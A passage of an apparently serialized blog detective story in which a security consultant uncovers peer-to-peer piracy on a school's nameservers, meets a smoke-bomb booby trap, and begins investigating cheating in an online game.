“No big surprises. I bet this looks familiar, man!” Scrap said. I leaned over his shoulder to read the laptop screen.

_ Discovered open port 22/tcp on x.x.x.1 Discovered open port 25/tcp on x.x.x.1 Discovered open port 21/tcp on x.x.x.1 Discovered open port 53/tcp on x.x.x.1 _

“That’s consistent with what we saw on the x.x.x.13 box.” I said.

“Yeah, but wait until you get a load of this!” Scrap said as he switched virtual desktops on his laptop and scrolled through some ethereal traffic dumps. “Now is that cool or what? Uhh, what is that exactly?” Scrap asked.

I took a deep breathe. I hate being right most of the time.

Source: archived original

Part VIII · Jun 3, 2005

Scrap was staring at the side of my head so hard I could actually feel my ear growing hotter with each passing second.

“Well? WHAT! What kind of traffic is that, man? I’ve been a systems administrator monkey for a while now and I’ve never seen a capture that looked like that.” Scrap practically screamed as he gave me a nudge.“It would appear that these servers are used for much more than enhancing the education of the students.” I cracked as I pointed to the Ethereal window on Scrap’s laptop. “Grab packet number 1080. Look at the ASCII view. Look CAREFULLY. What do you see?”

Scrap focused his eyes on the packet capture.

_** y.y.y.170,x.x.x.1,IP,337,….i……i..E..C..@.@.jJ….D..w.g……………w……v=sQ….GET /uri-res/N2R?urn:sha1:4TSJQULHIUIGQZGWN2OZ4IYFNWBAR67G HTTP/1.1..HOST: z.z.z.119:6348..User-Agent: LimeWire/x.x.x.. _**

“Holy copyright violation on a stick! It’s a Limewire session! Peer to peer file sharing, man!” Scrap said with a large grin on his face.

“You got it. And from the looks of these captures and the sheer volume of traffic on this segment, I’d say there’s quite a few files being passed from this server.” I said as I watched the packet counter climb to a number nearing last month’s Starbucks tab.

“Chief, this would explain a lot. I mean, P2P traffic can suck the life out of any network. That dude Jared is either in on it, or completely clueless!” Scrap exclaimed as he peered towards the ceiling. “So what do we do now?”

“We act like a ziplock bag and say zilch to Jared. We need to have a pow-wow with Thom and see where he wants to go with this. Remember, Thom is the client - he’s the boss.” I said as I saved the packet captures to Scrap’s hard drive.

“But we have some serious info here, man. Let’s go ask him what’s up!” Scrap insisted as he motioned me towards Jared (who thank goodness had his back to us and was twenty feet away).

“Scrap. Take a breath. You’re sweating like Al Bundy in a strip club. We’re not going to get anywhere with some packet captures. This is raw evidence. We haven’t processed it yet. We sit down with the client and get some direction. If you’re going to do well in this type of profession, you need to learn patience and restraint.” I said as I placed Scrap’s laptop under my arm. “Now, let’s go!”

Scrap and I wandered towards the door of the datacenter. I waved at Thom to join us as we wandered into Thom’s office. Scrap closed the door behind us.

“You’re not going to turn on a heat lamp, are you?” Thom joked as he took a set behind his desk. “I’m wearing a good shirt. My wife ironed this baby this morning!”

“Thom, we have an unproven theory on why your servers are spiking and dying. Scrap has collected some interesting packet captures that lead us to believe that those DNS servers in there are actually P2P servers, and they are REAL busy.” I explained.

Thom thought for a few seconds and shifted in his chair.

“Somebody has rigged P2P software on these servers? And they are serving what?” Thom asked.

I opened Scrap’s laptop and brought up some sample packet captures from our recent capture session.

“Judging from these strings in the packets, I would say music files, movie files, picture files, and some documents.” I replied as my finger glided over the LCD screen.

“Dude! They are looking for Iron Maiden! Sweet!” Scrap said, obviously not able to contain his excitement any further.

Thom had a frown on his face that almost engulfed his entire chin. The man was not happy.

“Ok, this obviously can’t continue. We are putting the school at serious risk here. We need to take those servers down right now, whether Jared likes it or not. But I want to know how this happened! This is unacceptable! I am going to have a lot of explaining to do to the Dean.” Thom said as he leaned back in his chair.

I paused for a moment and made a suggestion to Thom. “Taking these servers offline may cause a service disruption to the campus network. We’re going to have to…”

“Chief.” Scrap said.

“Not now Scrap, wait a minute.” I fired back.

“Chief, you REALLY want to see this.” Scrap said as he passed his laptop to me.

Now what had he been working on while we were talking?

Scrap had performed a “whois” command on several of the campus domains.

He was pointing madly at the nameserver records.

“Check it out! There are two nameservers registered to answer for these domains. And you know what the best part is?” Scrap asked.

“Neither of them are in that rack.” I mumbled.

Cripes.

Source: archived original

Part IX · Jun 7, 2005

“Riddle me this, man!” Scrap said with a large grin on his face. “When is it that you have DNS servers that don’t really serve DNS?”

“When your DNS servers aren’t really DNS servers?” I replied, stating the obvious as we re-entered the datacenter. Jared was nowhere to be seen.“Seriously man, this is wild. Now look at the IP addresses of the registered master servers, now look at the network map. The master servers are in that rack right over… there!” Scrap said with a point of his finger to the rack on our right.

I wandered over to the rack and scanned the adhesive name labels on the face of each server. Nothing that appeared to be a DNS server by host name jumped out at me.

“This is like looking for a needle in a haystack.” I complained. “There’s at least ten servers in this rack, the host names aren’t useful, and there’s no IP addresses on any of these labels.”

I grasped my chin with my right hand and slowed down for a second. I walked around to the rear of the rack and examined the network connections. Above each connector was a factory-installed white sticker with a MAC address label in clear view. Jackpot.

“Scrap, nmap those IP addresses and read me the last few parts of the MAC addresses on both.” I said as I maneuvered myself completely behind the rack.

“Roger that, Chief. Okay - the first IP address is assigned to dc:69. The second IP address is assigned to bf:32.” Scrap announced proudly.

I scanned down the factory stickers and was not seeing a match until I came upon the last two servers. The last 2 fields matched exactly on both machines.

We had found the mysterious servers.

With Thom’s permission, a quick and dirty analysis of the two boxes ensued.

The analysis told me exactly what I expected to hear - these were two real DNS servers!

“Chief, what the hell is going on? This is like a Matrix movie gone terribly wrong.” Thom whined as he massaged his tired eyes with his forefingers.

“This is actually excellent news. We can safely remove the questionable servers from the network for examination and not cause a service disruption to the campus network. With your permission, I want to disconnect all the servers immediately and perform a more detailed analysis.” I stated as I waved to Scrap across the room.

“Yes! Yes! Let’s do this. I want answers to this puzzle now.” Thom replied.

Scrap had understood my monkey paw waving and started disconnecting power and ethernet cables from the backs of the suspect machines. Scrap had two cables to go when he suddenly stopped.

“Chief - dude, this machine is going insane!” Scrap yelled, now waving his monkey paws frantically about his head. “Look at the network activity light! It’s like a strobe light from the seventies. Listen to that hard drive chatter!”

I crouched down next to scrap and placed my left ear against the front of the server where the hard drives were mounted. I was inches from the machine and could hear the drive chatter over all the other noise in the datacenter. This machine was very busy.

“Uh, oh!” Thom said as he crouched down next to me.

“Oh man, what the heck IS that?” Scrap asked as he scratched his head.

“That, is our stealthy spike.” Thom replied.

Source: archived original

Part X · Jun 8, 2005

“Your call, Chief!” Scrap said, his monkey paw firmly grasping the network cable.

I peered over at Thom, raising one eyebrow.

“Thom, do you want answers or do you want us to just clean this up?” I asked.

“Well, we’re in this deep already. Let’s get some answers.” Thom responded with a grin.

I motioned for Scrap to back off from the cables and reached for the “Scraptop”. I handed Scrap his laptop and pointed a finger towards the network cable on the back of the spike-ridden server.

“Tap that. Full capture. Let’s grab a few gigabytes of traffic and play detective.” I said with a slight grin. This was going to be entertaining on many levels.

“Tapping!” Scrap said as he quickly put the tap in place, careful to only disconnect the network cable from the back of the server for a few seconds. After a few quick keystrokes on his laptop, the network traffic scrolled across his screen with blazing speed.

“Where’s Jared?” Thom asked as he looked around the datacenter.

“He wasn’t in here when we came in. Was he supposed to still be here?” I asked Thom, unaware if Jared was supposed to be in a class.

“I told him to keep his butt in here to answer questions. He has a very small attention span.” Thom responded.

“Alright, with the tap in place let’s get busy on imaging one of these servers. Scrap, would you mind assisting me with a ‘serverectomy’?” I asked.

“Your tonsils hurting, man?” Scrap asked.

I sighed. “Dude, just grab a screwdriver and let’s get the first server out of the rack. Don’t forget to pull the power cord first.”

“Alright, alright. Hey, you brought up your tonsils.” Scrap said as he started unscrewing the mounting screws holding the first server to the rack.

I was starting to wonder if Scrap dyed his hair.

A few minutes had gone by and the server was sitting safely on the table in the datacenter next to the server that Scrap had doomed to erasure by his over-eagerness to run shell commands.

“Hey Chief, hand me that bigger screwdriver.” Scrap barked as he pointed his paw at a red-handled screwdriver sticking out of my tool bag.

Scrap removed the screws that kept the lid of the server attached and proceeded to slowly pull the lid towards the rear of the server.

“Scrap! WAIT! WAIT DAMMIT!” I screamed as I grabbed the lid of the server.

A sliver of silver wire caught my eye that was somehow attached to the lid of the server. The other end couldn’t be seen. I reached into my tool bag to find my trusty penlight for a closer look.

“Dude, it’s just a wire…” Scrap joked as he clasped his hands around the sides of the lid.

“SCRAP! WAIT!” I screamed again.

White smoke drifted from the top of the server case.

“What the hell is that?” Thom asked, apparently startled like the rest of us.

“Scrap, I SWEAR TO GOD. If I tell you to do something, or NOT do something - you listen the first time. You do not EVER, EVER remove the case lid to a suspect machine without inspecting it first. I don’t know what that is, but if it had been explosives, we could be DEAD. Am I getting through to you?” I said with a stern look on my face.

I was furious.

“Yeah, yes. Yes. I’m sorry man.” Scrap replied as he took a seat next to Thom by the table. Both appeared rather stunned as they coughed from the smoke filling the room.

I grabbed my penlight and worked my way around the surface and lip of the lid, waving smoke out of my eyes with my other hand. The smell was very familiar from my days of trying to be a twelve year-old stunt bicycle rider.

It was a smoke mix - and a battery-powered trigger. You’d typically find this type of setup used on remote-controlled toy planes, helicopters, cars, you name it.

I scratched my head furiously.

Why would someone rig a smoke bomb in a server? Physical booby-traps like this are very, very rare in evidence equipment. This was only the second case I had ever seen.

“I’ll be right back. I’m going to go drag Jared out of the computer science lab down the hall. This is complete crap.” Thom said as he raced out the server room door.

“Chief, do you ever get the feeling that someone just doesn’t want anyone messing with these boxes?” Scrap asked as he reached into his shirt pocket for a cigarette.

Do I.

Source: archived original

Part XI · Jun 10, 2005

“It is a mistake to confound strangeness with mystery. The most commonplace crime is often the most mysterious, because it presents no new or special features from which deductions may be drawn.” – Sherlock Holmes

I needed a breather to clear all the white smoke that was lingering in the air out of my lungs. Scrap needed a cigarette. It was time to take a walk around campus.

Scrap took a few steps towards the door, his eyes looking straight at the ground. Learning lessons the hard way is a real ego killer sometimes.

“Scrap, what’s wrong with this picture right now?” I asked as I placed my hand on the exit door, blocking Scrap’s exit.

“Huh? Chief, what ISN’T wrong with this picture? Hey man, I don’t know where you’ve been but somebody just smoked us!” Scrap cried as he placed his hands in his pockets.

“No, I mean… look up at the ceiling. This room is equipped with Halon fire suppression. Why didn’t it fire off? Look at all the smoke that is still in this room!” I said as I trotted over to the wall where the Halon control panel resided.

I glanced at the control panel and squinted.

“Scrap, this system is keyed OFF. Look! The fire suppression system is turned off!” I said in disbelief. “Why the hell would it be off? Have you ever walked into a production datacenter and seen the fire suppression system off? I mean, when there’s not a test or some kind of maintenance going on?”

“Never, man. Never. Might want to bring that up to Thom.” Scrap said on his way out the door.

I followed scrap down the hall and out into the heat of the afternoon. I sat down next to Scrap on a bench and watched several students walking towards the next building.

“Scrap, you want something to drink?” I asked as I checked my pockets for some cash.

“Sure. Grab me a Mountain Dew, man.” Scrap replied.

I walked along a well-groomed stone path towards the cafeteria. Inside, I quickly located the self-serve drinks. I poured Scrap a Mountain Dew and helped myself to a bottle of Green Tea.

“It’s not coffee, but it’ll do.” I thought to myself as I handed the cashier a few bills.

A few feet away, a group of students sat huddled around a break table with laptops strewn about. One of the students had a beautiful 17-inch Apple Powerbook. I wandered over in their direction for a closer look and took a seat at the table next to them.

“Yeah, and check this out. Star Wars Episode I! I’ve got a couple of Jackie Chan movies and some serious cartoonage coming down the pipe, babe.” one student bragged to the girl sitting beside him.

I leaned over to get a better glimpse of the beautiful 17-inch widescreen display on the Apple Powerbook when a familiar logo caught my eye. A lime, ala Limewire.

“How the heck is he pulling down peer-to-peer files from in the cafeteria?” I wondered.

A quick glance at the menu bar near the top of the screen gave me my answer; an airport icon. The school had a wireless network connection present.

I grabbed my drinks and headed back towards Scrap. My mind was racing. I had an idea.

“Hey, thanks Chief. This will hit the spot.” Scrap said enthusiastically as he took a sip of his drink.

“Let’s roll back into the datacenter.” I said without a bit of hesitation.

Once back in the datacenter, Scrap and I were treated to a familiar pair of faces.

“Chief, I think you know Jared. Jared has an interesting story to share with us.” Thom said, nudging Jared forward a few steps.

The room was quiet with the hum of servers and Scrap sucking a few more gulps of Mountain Dew from his cup.

Jared looked like he was bursting at the seams.

Source: archived original

Part XII · Jun 15, 2005

“Tell me a story about a man with a secret, and I’ll listen long enough to determine if my name is mentioned or not.” – Anonymous

Jared was about as comfortable in his own skin as Scrap in a pair of thong underwear. His eyes shifted back and forth, he was sweating profusely and taking deep breaths.

“We’re all pretty confused about this entire situation, Jared.” I said as I sat on the table facing Jared.

“Tell them what you just told me.” Thom demanded as he made eye contact with Jared.

Scrap slurped up the rest of his Mountain Dew, breaking yet another painful silence in the room.

“Let’s start with the nameservers, since that is what brought me here. There is an entire rack of them right here, and there are two unmarked ones in that rack over there. Can you explain to me why the two ‘real’ nameservers are unmarked and in one rack, and the rest of these nameservers are marked and in another rack?” I asked Jared.

Jared took a deep breath and began speaking nervously.

“There are twelve nameservers total. Two of them are the primary resolvers for the two externally accessible domains of the school. The other ten are resolvers for internal domains only. Departments around the campus have their workstations pointing towards one or more of the ten servers depending on their needs.”

I scribbled some notes in my notebook, trying to ensure that all the holes in this strange situation were addressed.

Thom took a step forward towards Jared. “I’d like to know what was causing the load on these machines to spike and render the machines useless? We have lost a lot of man hours rebuilding servers and dealing with staff that can’t function without name resolution working.”

“The CPU load increases are a side effect of file serving software that is installed on all twelve servers. As the number of requests for files increases, the CPU load increases.” Jared replied.

“Might I ask WHY we have file sharing software on all twelve of our nameservers?” Thom asked.

“The machines had no load on them most of the time and the hard drives were barely used. Between the twelve machines we had over half of a terabyte of data storage available, an all of the machines sat on a 100MB ethernet network connection.” Jared said, taking some time to think about quantitative amounts before speaking.

“I’m not sure that you answered his question.” I interjected.

“Look man, I didn’t do any of this. I took over for Marcus last semester and all of this stuff was set up when I got here.” Jared snapped back.

“And you didn’t think to report any of this, man?” Scrap asked, clearly irritated that he was out of Mountain Dew and eyeing my half-full bottle of green tea.

“Of course I did.” Jared replied. “But I had other incentives.”

Now we were getting somewhere.

Source: archived original

Part XIII · Jun 20, 2005

Thom was chewing his cud, clearly agitated over the entire situation. I realized that with Jared spilling the beans and Thom’s patience running short, I had to step in and steer the conversations.

“Let’s talk about those incentives. Why the deadman switches on the boxes? The smoke bombs? The rigged logins?” I asked.

Jared slowly inhaled. “From what I understand, this is bigger than just Marcus and his friends stealing bandwidth and services on the school’s dime. Marcus gave me direct access to the servers to leech anything that I wanted off via secure ftp. The boxes were peering points and used to distribute a lot of ‘zero-day’ items.”

“Zero-day items? You mean like theatrical movies? Software releases? Music files?” I pondered out loud.

“Yeah. Marcus was making quite a name for himself in some circles. Before he turned everything over to me, he seemed a bit nervous when we talked. You know how those association groups are shutting down and prosecuting distro sites and their owners? Well I think Marcus thought he was going to get caught eventually.” Jared replied.

“I see. And?” I asked, leading Jared into answering the rest of my questions.

“Right, well I didn’t know the smoke charges were there until the first time I had to take a server out of service and re-image it. Ironically enough, all of the images for these servers Marcus made himself, so all of the peering stuff just magically appeared again. Anyway, the first time I popped the cover off of a server I got a face full of smoke and I was freaking out because the detectors up on the ceiling were beeping. I haven’t had the fire system on since.” Jared admitted.

“You turned off the da…” Thom said, flying off the table.

“Thom, wait. This isn’t helping the situation. Let’s get all of the facts.” I pleaded to Thom as he sat back down on the table with a scowl on his face.

“I got a question.” Scrap said, once again breaking the silence. “So, you kind of knew the whole time that re-imaging these machines was just wasted cycles? And then you’d hand off everything to the next guy that took over for you?”

“Well, I hadn’t really thought about it that far down the road.” Jared said, his eyes aimed squarely at his shoes.

“Ok, I’ve heard enough. Jared, let’s go have a conversation with the Dean.” Thom said, motioning Jared to exit through the door.

After the door was closed, I closed my eyes and exhaled. I felt like a train accident.

“Dude, this whole situation is freaking me out.” Scrap said, drinking the last of my green tea. “I mean, how much sense does any of this make?”

“I can relate.” I said as I rubbed my eyes. “But the sad truth is that this type of piracy isn’t exactly new or strange to school campuses. I’m really surprised that things were so lax here. Thom is a pretty sharp guy.”

“It’s like you always told me, Chief.” Scrap said. “People trust the people that work for them, and sometimes they trust them just a little too much.”

I brought my bottle of green tea to my lips and attempted to take a drink from a very empty bottle.

“You drank the last of my tea?” I asked in disbelief.

“Hey man, sounds like you’re trusting your people too much!” Scrap rattled back.

Sometimes the teacher learns from the student. And sometimes, you have a student like Scrap.

=*=

Epilogue:

Thom went on a blitzkrieg at the school. Law enforcement and several trade associations were notified about the activities of Marcus, Jared and numerous other students.

Scrap scored a major consulting gig with Thom rebuilding the school’s DNS architecture since all twelve servers (and numerous other items) were confiscated as evidence.

Lawsuits were brought against several of the students, and they were all kicked out of the university and enrolled into the school of hard knocks.

[NOTE: I apologize for the delay in publishing the conclusion of this case file, however I had to edit it several times for content.]

Source: archived original

15. Case of the Mischievous Minotaur

Tue, 21 Jun 2005 00:00:00 +0000

Part I · Jun 21, 2005

“So this is what a vacation feels like?” I said to myself as I stretched out in a pool lounger chair, enjoying the abundant sun light and the scenery around the resort’s gigantic pool.

Two years had gone by in a hurry and I was in dire need of rest and relaxation.

“¿Usted desea otra bebida, Señor Chief?” asked my new friend Pepito as he approached my chair, carefully removing my empty glass from my hand.

“Sounds good Pepito. How about another iced coffee?” I asked politely. Pepito smiled and shook his finger at me.

“Señor, that is your third today!” Pepito announced to all that surrounded the pool. Great, now everyone knows I’m a coffee addict.

I slowly drifted off to sleep and listened to the ocean waves smack against the beach, narrowly missing a few ignorant tourists who refused to move out of the way.

RING RING

“You’ve GOT to be kidding me.” I moaned as I reached for my cellphone in my gym bag. I didn’t recognize the number calling, however my gut instinct told me to answer it anyway.

“Chief.” I mumbled.

“Uh, hi! Chief? This is Ronald Krump. I was referred to you as someone that might be able to help me with a problem with my computers?” the caller asked, stunning me with his question.

“Ok. What kind of problem are we talking about? Excel macro not working? Hard drive failure? Screensaver not coming on fast enough?” I said sarcastically. I can’t believe I answered this call.

“Well, no. I’m president and CEO of MMM Gaming, you might have heard of us. We’re one of the largest online gaming service providers in the world?” Ronald said.

COUGH COUGH

I nearly choked on my drink.

“Sure, I know of you. What seems to be the problem?” I asked as the dollar signs rotated around my head. Hey, I had to pay for this vacation somehow.

“Our newest MMORPG, Huge Kingdom, is being broken into almost every day. We can’t figure out who is doing it, what they are doing, or why they are doing it. We do know that they have deleted customers’ characters and have attempted to take over others. We’re game programmers and marketers, not security experts. We need some serious help. I hear you’re more than capable.” Ronald said enthusiastically.

“Well, I think the situation sounds very interesting. You’re in San Diego, right?” I asked.

“Correct. I’ll have my secretary email you travel information. Can we see you tomorrow morning?” Ronald asked as his cell phone started to cut out.

“No problem. I’ll get a flight out tomorrow morning and see you around lunch time.” I responded before the line went dead.

“Señor, will there be anything else today?” Pepito asked as he walked up behind me.

“Hey Pepito, what’s the weather like in San Diego today?” I asked.

Looks like my vacation was about to end abruptly.

92398-060801-841118-63

Source: archived original

Part II · Jun 23, 2005

“I’m sorry Sir, but we’re out of regular coffee. Would you care for some decaf?” the flight attendant asked as she reached for the evil pot of low-octane coffee.

“Nevermind. I think I’ll switch to Coke.” I said as I took the bright red can from her hands. How do you run out of coffee on an airplane? That’s like running out of beer during a hockey game.

The flight into San Diego was uneventful, and before I knew it I was in a rental car headed towards MMM headquarters. The weather was beautiful and traffic wasn’t too bad.

After a quick check-in with the receptionist and security at the MMM headquarters building, I was escorted to a small conference room that was quite possibly colder than parts of Antarctica.

I opened my equipment bag and removed my prized Apple Powerbook. A quick flip of the screen and it woke from sleep instantly. Several seconds later I was logged in and busily creating case file notes.

The conference door opened briefly to reveal the head of a very attractive female with a smile that consumed the entire lower portion of her face.

“Chief? HI! I’m Lola, Mr. Krump’s personal assistant. Mr. Krump will be with you shortly, he’s on an international call that should be wrapping up in a minute or two.”

I couldn’t help but smile back, my eyes partially blinded by the recent glow of teeth bleaching.

“No worries, I have some notes to work on. Can I bother you for some coffee, please?” I begged.

“SURE! No problem!” Lola said with the enthusiasm of a seventeen year-old cheerleader. The door closed and minutes later Lola appeared with a ceramic mug of hot coffee complete with the MMM logo.

“Can I keep this mug? Very cool!” I joked.

“SURE! No problem!” Lola said as she exited the conference room.

I was suddenly under the impression that MMM had developed personal assistant robots. Good grief.

After a few sips of coffee, my brain was awake and processing the information that MMM had sent me via electronic mail.

Item number one was a timeline of events that lead to MMM discovering that their systems were being breached. Item number two was a very nice diagram of the gaming network for Huge Kingdom, and it was quite impressive. Item number three was a one hundred page document describing how Huge Kingdom was designed and implemented. This particular document had “company confidential” stamped on every page in bright red ink.

“Well, at least they have information classification nailed down.” I laughed to myself.

As I read the design document I jotted down a very brief (and incomplete) risk analysis of the system. I was barely halfway through the design document when I realized that I had been sitting in the conference room for nearly an hour.

What was keeping Mr. Krump?

The conference room door opened almost on cue, and in came Ronald Krump with two people that I hadn’t seen before. You couldn’t miss Krump because his picture had been plastered through several trade magazines thanks to the recent success of Huge Kingdom.

“Chief! Hi, I’m Ronald Krump. On my left is our chief architect Steven Hu, and on my right is the project manager for Huge Kingdom, Arlie Brown.” Krump said as we all shook hands.

After the usual introductions and jokes about how poor the weather in San Diego was, we got down to business.

We spent the early part of our discussion on the history of Huge Kingdom and what MMM felt their biggest risks were in the online gaming world. Steven gave an excellent thirty minute overview of the technical architecture of the product, and Arlie filled in the gaps where necessary. I now knew more about what made an online game tick than I ever wanted to.

“Ronald, you mentioned that the product is being abused by an unknown party or parties, and to the best of your knowledge they are simply manipulating things within the game, correct?” I asked.

Ronald began to speak with his hands in an enthusiastic manner. “Yes, yes, that’s it in a nutshell. I have asked Steven to lead a small group of MMM employees to help you with your investigation. If you need anything, just ask.”

“Actually, I do need some help right now.” I responded.

“SURE! What do you need?” Steven asked in an enthusiastic manner that seem to be contagious around the office.

“I need help setting a trap.” I said, crossing my arms.

Source: archived original

Part III · Jun 27, 2005

“Dude, you’re setting a trap? No fair having fun without me.” Scrap said as I heard him take a drag off of his cigarette on the other end of the phone.

“Yep, it’s going to get interesting around here. Look, I may need to bring you into this shortly. Clear your schedule.” I demanded.

“Aw, man! I hate flying!” Scrap whined as he disconnected from our call. There’s just no making that guy happy aside from a carton of cigarettes a week and a new Zippo lighter every Christmas.

I had taken over a small conference room as my work area and was in the process of completing my risk assessment of Huge Kingdom.

“Interesting.” I said to myself as I examined the event timeline that MMM had provided me.

Huge Kingdom had one of the largest MMORPG launches in gaming history recently (in terms of advertising dollars spent) and ironically enough, the server disturbances had started to occur within 48 hours of the game launch. Perhaps someone was finding it too hard to play by the rules?

The game network was amazing. Large mainframe computers were the “brains” of Huge Kingdom handling all computation work, statistics tracking, etc. The HK clients were “dumb” and performed no game-critical calculations except for firing the game image onto the player’s screen and taking keyboard and mouse commands. Communication between the clients and the servers were encrypted with a strange byte-code method that I hadn’t seen before. The encryption technology was called “QuickCrypter” and was a home-grown encryption solution.

I glanced over the server logs regarding every recorded server event and circled some that caught my eye:

_ June 7th - player X took gold from a chest that was 3000 miles away from him

June 8th - player X had an out-of-bounds conversation with a character 5000 miles away from him

June 9th - player Y complains to technical support that his gold inventory went from 500,000 to 0 in a matter of seconds

June 9th - player Z complains that an expensive magical weapon disappeared from his inventory. Player Z was later killed by Player X who was wielding the very same weapon _ Player X always connected from a different IP address.

A few moments later, my eyes widened with disbelief.

Player X had approximately 50 violations a day recorded on the server and played every day.

But why hadn’t MMM employees gone through the logs and looked for this information? The programmers had the foresight to include boundary checking in the game. Perhaps this case wasn’t going to be very challenging after all.

A knock at the conference room door startled me.

“Chief?” a voice said as the door opened. It was one of the MMM employees assigned to help me with the case, Ken Banobi.

“Hey Ken, what’s up?” I asked as I glanced back down at the server logs.

“We’re all ready to go, just waiting on you to join us in the room.” Ken replied.

“Join you? For what?” I replied, still concentrating on the log files before me.

“Your trap is ready.”

Source: archived original

Part IV · Jun 30, 2005

Ken looked as frustrated as a guy sitting in a bar wearing a “Betty Ford Clinic” hat. I had changed my strategy in the last few minutes before his arrival.

“I don’t understand Chief, we’re changing our plans? Please explain.” Ken asked as he sat down in the conference room.Ken Banobi was “Mr Network” at MMM. Steven Hu had selected him to be my liaison at MMM and to provide me with whatever assistance I may need. Ken was in his early thirties, almost bald, and clearly liked a good beer from his medically diagnosed “dunlop’s disease”. His belly had not only “done lopped” over his belt, but it looked like it was trying to escape.

“We’re going to attack this a bit farther out than I had initially planned.” I began. “We’re going to get some traffic capture devices in here so we can replay these attacks over and over again until we figure out the method.”

Ken was silent, his eyes fixated on the ceiling. “Well, that’s fine by me. But I don’t have that kind of gear here. We may need to go buy some stuff.”

“I have that covered, and it’ll be here tomorrow. For now, I want to spend some time with your Human Resources department and do some interviews.” I said as I peered back down at my notes.

“No problem. I’ll set something up with HR right now for you.” Ken said as he exited the room and adjusted his pants. Man, I did not need to see that.

My gut was rumbling, clearly reminding me that I had skipped lunch. I placed all my notes in my travel bag and checked out with the receptionist.

“Oh, sure! You want a Thai place? No problem! Let me write down some directions for you!” said Barbie. Well, I didn’t know her real name, but she sure looked and sounded like flight attendant Barbie.

A few moments later and I was patiently waiting for a plate of Pad Thai to arrive at my table. I placed my trusty Apple Powerbook on the table next to my glass of Thai Tea and started transcribing my pages of written notes.

I flipped through a few more pages of server logs that I hadn’t completed as a result of my dialogue with Ken when I noticed something intriguing.

Approximately ten days after launch, several players were noted to have advanced weapons in the game. These weapons would take a player several months of constant game playing to accumulate. As I flipped through the logs, the number of players and the variety of weapons increased dramatically. It was almost as if a black market of weapons had sprung up inside Huge Kingdom.

But how?

Steven Hu had made it quite clear to me in our earlier discussion that the path to advancement in Huge Kingdom was very linear, and it was almost impossible to cheat. One of the safeguards that the programmers had designed into the game was the death of players and their possessions. The intent of these safeguards was to prevent bands of “gangs” from finding players with advanced levels and possessions and to keep them from being assassinated.

“Here you go, Sir!” the waitress said as she placed the steaming plate of Pad Thai on my table, narrowly missing my Powerbook with a piece of shrimp that had tumbled off of the plate. I was starving, and proceeded to eat like I had fallen off of the TrimSpa truck on it’s way to a bake sale.

I was ten bites into my meal when my cell phone rang. What timing.

“Chief.” I mumbled into the phone as I took a long draw of the Thai tea through a straw.

“Dude, this airport sucks!” Scrap whined into the phone. “I just got here and they lost my damn laptop bag!”

I swallowed a rather large piece of shrimp and cleared my throat. “Did the gear make it here okay?”

“Yeah, yeah. I picked it up about five minutes ago. I checked my laptop bag because I brought the jumbo-sized one and they wouldn’t let me bring it on the plane.”

I chuckled to myself, remembering the gentleman who cleverly stuffed a gym bag the size of a small horse into the overhead compartment on my flight. “I’ll pick you up in about an hour. Go get something to eat and we’ll wander off to the hotel for some drinks and a briefing session.”

“Right on!” Scrap responded. “There’s a smoking section out here by the door! Hey, did you solve this thing yet? I need to be in town next week for another gig.”

“Not yet.” I answered. “But I have a theory.”

Source: archived original

Part V · Jul 1, 2005

“So then I turn to the guy and I’m like ‘yo, man - you’re spitting on me’ and he just sits there looking at me like I’m a moron or something!” Scrap wailed as he climbed into my rental car.

“Do you mean to tell me that every time this guy talked to anybody, he was getting little saliva droplets on you?” I asked in complete astonishment.

“Serious man! And I kept telling him! And we didn’t even get it worked out until the plane was ready to land.” Scrap said, adjusting his seat belt for the long drive.

“Turns out the dude didn’t speak english!”

I instinctively rolled my eyes. I walked right into that one!

“What’s the plan, Chief? Anything besides sitting on an airplane sounds good to me right now.” Scrap asked enthusiastically.

“We’re on our way to MMM HQ. I’m going to meet with the director of the human resources department. You’re going to meet with the network monkey to install some listener boxes and get us some network traffic to look through.” I responded.

“Right on.” Scrap said as rolled his window down a few inches and lit a cigarette.

“Scrap, not in the car.” I said, fanning the smoke away from my eyes. A car was too confined of an area to be smoking in.

“Dude! It’s a rental! Who cares?” Scrap said with a grin as he rolled the window down another few inches, carefully blowing the smoke out on to the freeway.

An hour and half a pack of Newports later, we arrived at MMM HQ. Traffic was unbelievable, but (according to the locals) completely normal for this time of year.

I proceeded to the human resources department, flipping my visitor’s badge to Receptionist Barbie.

“Oh, like hi! Were there any problems finding the restaurant I told you about?” Barbie asked with a flip of her hair.

“No problem! No problem!” I said, playfully waving my head from side to side.

She didn’t get the joke.

I walked down the hall until I saw the door to human resources. Oh good, another Receptionist Barbie.

“Good afternoon! Can I help you?” she asked with a slow blink of her eyes.

“Yeah, I’m Chief - here to see Erik.” I said as I presented her with a business card.

“One moment - have a seat, ok?” she said as she walked down another hall and knocked on Erik’s door.

“Mr. Slinkpips will see you now.” Barbie said with a Vanna White-ish wave of her arm.

Erik & I took a few minutes to get to know each other, and then I walked down my list of prepared questions.

“In the last year, how many employees have left MMM?” I asked as I placed a check-mark next to the question on my notepad.

Erik reviewed several spreadsheets in a folder placed in front of him and responded, “Two software developers were fired several months ago for non-performance issues. We terminated several facilities staff members after finding them asleep in the office in the morning. And we wondered why our trash never got emptied! Oh, and we let a vice president of marketing go after our department ran a late background check on him and discovered that he had been fired from his previous employer for embezzlement.”

My monkey paw was scribbling as fast as it could, dying to catch every word that came out of Erik’s mouth. We had several good leads here.

“Erik, is employee access to the MMM network disabled as soon as the employee is let go?” I queried, turning the page in my notebook.

“Hmmm. That’s a good question Chief. I usually call Ken Banobi on his cell phone and he terminates all access within a minute. I suppose we should be sending emails back and forth to document this process.” Erik said, closing the folder in front of him.

“Probably a good idea.” I said with a grin as I left Erik’s office. I successfully

dodged Receptionist Barbie on a restroom break and snuck back into my make-shift office.

Moments later, the door to the conference room flew open and a wide-eyed Scrap smiled at me.

“Dude! You have to check this out!” Scrap said, motioning for me to join him.

“What? Where? I’m in the middle of something Scrap.” I responded.

“Dude, Ken is IN the game right now and you’ll never guess who he’s following around?” Scrap asked, his eyes growing wider with every syllable.

“Ok, I give up. Who?” I reluctantly replied.

“A very mischievous minotaur.” Scrap said with a grin.

My ears perked with interest.

Source: archived original

Part VI · Jul 7, 2005

“So that’s what they are wearing in Huge Kingdom nowadays.” I joked as I watched Ken maneuver his character around a grassy, mountainous landscape.

Ken was shadowing a character resembling a minotaur, straight out of mythology.

The minotaur was, by definition, a half-human and half-creature character wearing not a single piece of wardrobe.

“We’re in hot pursuit! Guh guh guh!” Scrap joked in his best Rosco P. Coltraine impersonation.

